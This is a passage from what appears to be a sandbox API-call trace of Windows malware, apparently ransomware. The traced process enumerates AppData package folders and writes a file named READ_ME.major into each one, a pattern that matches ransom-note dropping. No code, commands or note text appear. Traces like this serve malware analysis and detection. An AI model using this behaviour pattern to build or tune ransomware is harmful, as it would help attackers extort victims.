(lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\DesktopView_cw5n1h2txyewy\\AC\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\desktopview_cw5n1h2txyewy\\ac\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x84c [0181.876] WriteFile (in: hFile=0x84c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0181.877] CloseHandle (hObject=0x84c) returned 1 [0181.877] FindNextFileW (in: hFindFile=0x58e438, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80cf63bf, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x80cf63bf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x80cf63bf, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0181.877] SetLastError (dwErrCode=0x0) [0181.877] GetLastError () returned 0x0 [0181.877] SetLastError (dwErrCode=0x0) [0181.877] SetLastError (dwErrCode=0x0) [0181.877] SetLastError (dwErrCode=0x0) [0181.877] GetLastError () returned 0x0 [0181.877] SetLastError (dwErrCode=0x0) [0181.877] GetLastError () returned 0x0 [0181.878] SetLastError (dwErrCode=0x0) [0181.878] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\DesktopView_cw5n1h2txyewy\\AppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\desktopview_cw5n1h2txyewy\\appdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x84c [0181.879] WriteFile (in: hFile=0x84c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0181.880] CloseHandle (hObject=0x84c) returned 1 [0181.880] FindNextFileW (in: hFindFile=0x58e438, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80cf63bf, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x80cf63bf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x80cf63bf, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0181.880] SetLastError (dwErrCode=0x0) [0181.880] GetLastError () returned 0x0 [0181.880] SetLastError (dwErrCode=0x0) [0181.880] SetLastError (dwErrCode=0x0) [0181.880] SetLastError (dwErrCode=0x0) [0181.880] GetLastError () returned 0x0 [0181.880] SetLastError (dwErrCode=0x0) [0181.880] GetLastError () returned 0x0 [0181.880] SetLastError (dwErrCode=0x0) [0181.880] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\DesktopView_cw5n1h2txyewy\\LocalCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\desktopview_cw5n1h2txyewy\\localcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x84c [0181.881] WriteFile (in: hFile=0x84c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0181.882] CloseHandle (hObject=0x84c) returned 1 [0181.882] FindNextFileW (in: hFindFile=0x58e438, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80cf63bf, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x80cf63bf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x80cf63bf, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0181.882] SetLastError (dwErrCode=0x0) [0181.882] GetLastError () returned 0x0 [0181.882] SetLastError (dwErrCode=0x0) [0181.882] SetLastError (dwErrCode=0x0) [0181.882] SetLastError (dwErrCode=0x0) [0181.882] GetLastError () returned 0x0 [0181.882] SetLastError (dwErrCode=0x0) [0181.882] GetLastError () returned 0x0 [0181.882] SetLastError (dwErrCode=0x0) [0181.882] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\DesktopView_cw5n1h2txyewy\\LocalState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\desktopview_cw5n1h2txyewy\\localstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x84c [0181.883] WriteFile (in: hFile=0x84c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0181.883] CloseHandle (hObject=0x84c) returned 1 [0181.884] FindNextFileW (in: hFindFile=0x58e438, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21e04e7a, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x21e04e7a, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x21e04e7a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0181.884] FindNextFileW (in: hFindFile=0x58e438, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80cf63bf, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x80cf63bf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x80cf63bf, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0181.884] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\DesktopView_cw5n1h2txyewy\\RoamingState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\desktopview_cw5n1h2txyewy\\roamingstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x84c [0181.885] WriteFile (in: hFile=0x84c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0181.886] CloseHandle (hObject=0x84c) returned 1 [0181.886] FindNextFileW (in: hFindFile=0x58e438, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80cf63bf, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x80cf63bf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x80cf63bf, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0181.886] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\DesktopView_cw5n1h2txyewy\\Settings\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\desktopview_cw5n1h2txyewy\\settings\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x84c [0181.886] WriteFile (in: hFile=0x84c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0181.887] CloseHandle (hObject=0x84c) returned 1 [0181.887] FindNextFileW (in: hFindFile=0x58e438, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80cf63bf, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x80cf63bf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x80cf63bf, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0181.887] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\DesktopView_cw5n1h2txyewy\\SystemAppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\desktopview_cw5n1h2txyewy\\systemappdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x84c [0181.888] WriteFile (in: hFile=0x84c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0181.889] CloseHandle (hObject=0x84c) returned 1 [0181.889] FindNextFileW (in: hFindFile=0x58e438, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80cf63bf, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x80cf63bf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x80cf63bf, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0181.889] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\DesktopView_cw5n1h2txyewy\\TempState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\desktopview_cw5n1h2txyewy\\tempstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x84c [0181.890] WriteFile (in: hFile=0x84c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0181.891] CloseHandle (hObject=0x84c) returned 1 [0181.891] FindNextFileW (in: hFindFile=0x58e438, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80cf63bf, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x80cf63bf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x80cf63bf, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0181.891] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\E2A4F912-2574-4A75-9BB0-0D023378592B_cw5n1h2txyewy\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x79ed145d, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x79f1d90f, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x21e2b233, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x58e478 [0181.891] FindNextFileW (in: hFindFile=0x58e478, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x79ed145d, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x79f1d90f, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x21e2b233, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0181.891] FindNextFileW (in: hFindFile=0x58e478, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x79f1d90f, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x79f43b71, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x79f43b71, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="AC", cAlternateFileName="")) returned 1 [0181.891] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\E2A4F912-2574-4A75-9BB0-0D023378592B_cw5n1h2txyewy\\AC\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\e2a4f912-2574-4a75-9bb0-0d023378592b_cw5n1h2txyewy\\ac\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x850 [0181.893] WriteFile (in: hFile=0x850, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0181.895] CloseHandle (hObject=0x850) returned 1 [0181.895] FindNextFileW (in: hFindFile=0x58e478, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x79ef76b0, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x79ef76b0, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x79ef76b0, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0181.895] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\E2A4F912-2574-4A75-9BB0-0D023378592B_cw5n1h2txyewy\\AppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\e2a4f912-2574-4a75-9bb0-0d023378592b_cw5n1h2txyewy\\appdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x850 [0181.895] WriteFile (in: hFile=0x850, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0181.896] CloseHandle (hObject=0x850) returned 1 [0181.896] FindNextFileW (in: hFindFile=0x58e478, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x79ed145d, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x79ed145d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x79ed145d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0181.896] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\E2A4F912-2574-4A75-9BB0-0D023378592B_cw5n1h2txyewy\\LocalCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\e2a4f912-2574-4a75-9bb0-0d023378592b_cw5n1h2txyewy\\localcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x850 [0181.931] WriteFile (in: hFile=0x850, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0181.932] CloseHandle (hObject=0x850) returned 1 [0181.932] FindNextFileW (in: hFindFile=0x58e478, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x79ed145d, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x79ed145d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x79ed145d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0181.932] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\E2A4F912-2574-4A75-9BB0-0D023378592B_cw5n1h2txyewy\\LocalState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\e2a4f912-2574-4a75-9bb0-0d023378592b_cw5n1h2txyewy\\localstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x850 [0181.933] WriteFile (in: hFile=0x850, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0181.934] CloseHandle (hObject=0x850) returned 1 [0181.934] FindNextFileW (in: hFindFile=0x58e478, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21e2b233, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x21e2b233, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x21e2b233, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0181.934] FindNextFileW (in: hFindFile=0x58e478, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x79ed145d, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x79ed145d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x79ed145d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0181.934] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\E2A4F912-2574-4A75-9BB0-0D023378592B_cw5n1h2txyewy\\RoamingState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\e2a4f912-2574-4a75-9bb0-0d023378592b_cw5n1h2txyewy\\roamingstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x850 [0181.935] WriteFile (in: hFile=0x850, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0181.936] CloseHandle (hObject=0x850) returned 1 [0181.936] FindNextFileW (in: hFindFile=0x58e478, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x79ed145d, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x79ef76b0, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x79ef76b0, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0181.936] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\E2A4F912-2574-4A75-9BB0-0D023378592B_cw5n1h2txyewy\\Settings\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\e2a4f912-2574-4a75-9bb0-0d023378592b_cw5n1h2txyewy\\settings\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x850 [0181.937] WriteFile (in: hFile=0x850, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0181.938] CloseHandle (hObject=0x850) returned 1 [0181.938] FindNextFileW (in: hFindFile=0x58e478, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x79ef76b0, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x79ef76b0, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x79ef76b0, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0181.938] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\E2A4F912-2574-4A75-9BB0-0D023378592B_cw5n1h2txyewy\\SystemAppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\e2a4f912-2574-4a75-9bb0-0d023378592b_cw5n1h2txyewy\\systemappdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x850 [0181.939] WriteFile (in: hFile=0x850, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0181.940] CloseHandle (hObject=0x850) returned 1 [0181.940] FindNextFileW (in: hFindFile=0x58e478, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x79ed145d, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x79ed145d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x79ed145d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0181.940] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\E2A4F912-2574-4A75-9BB0-0D023378592B_cw5n1h2txyewy\\TempState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\e2a4f912-2574-4a75-9bb0-0d023378592b_cw5n1h2txyewy\\tempstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x850 [0181.941] WriteFile (in: hFile=0x850, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0181.942] CloseHandle (hObject=0x850) returned 1 [0181.942] FindNextFileW (in: hFindFile=0x58e478, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x79ed145d, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x79ed145d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x79ed145d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0181.942] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\EnvironmentsApp_cw5n1h2txyewy\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7c412157, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7c48483f, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x21ec3b86, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x58e4f8 [0181.942] FindNextFileW (in: hFindFile=0x58e4f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7c412157, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7c48483f, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x21ec3b86, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, 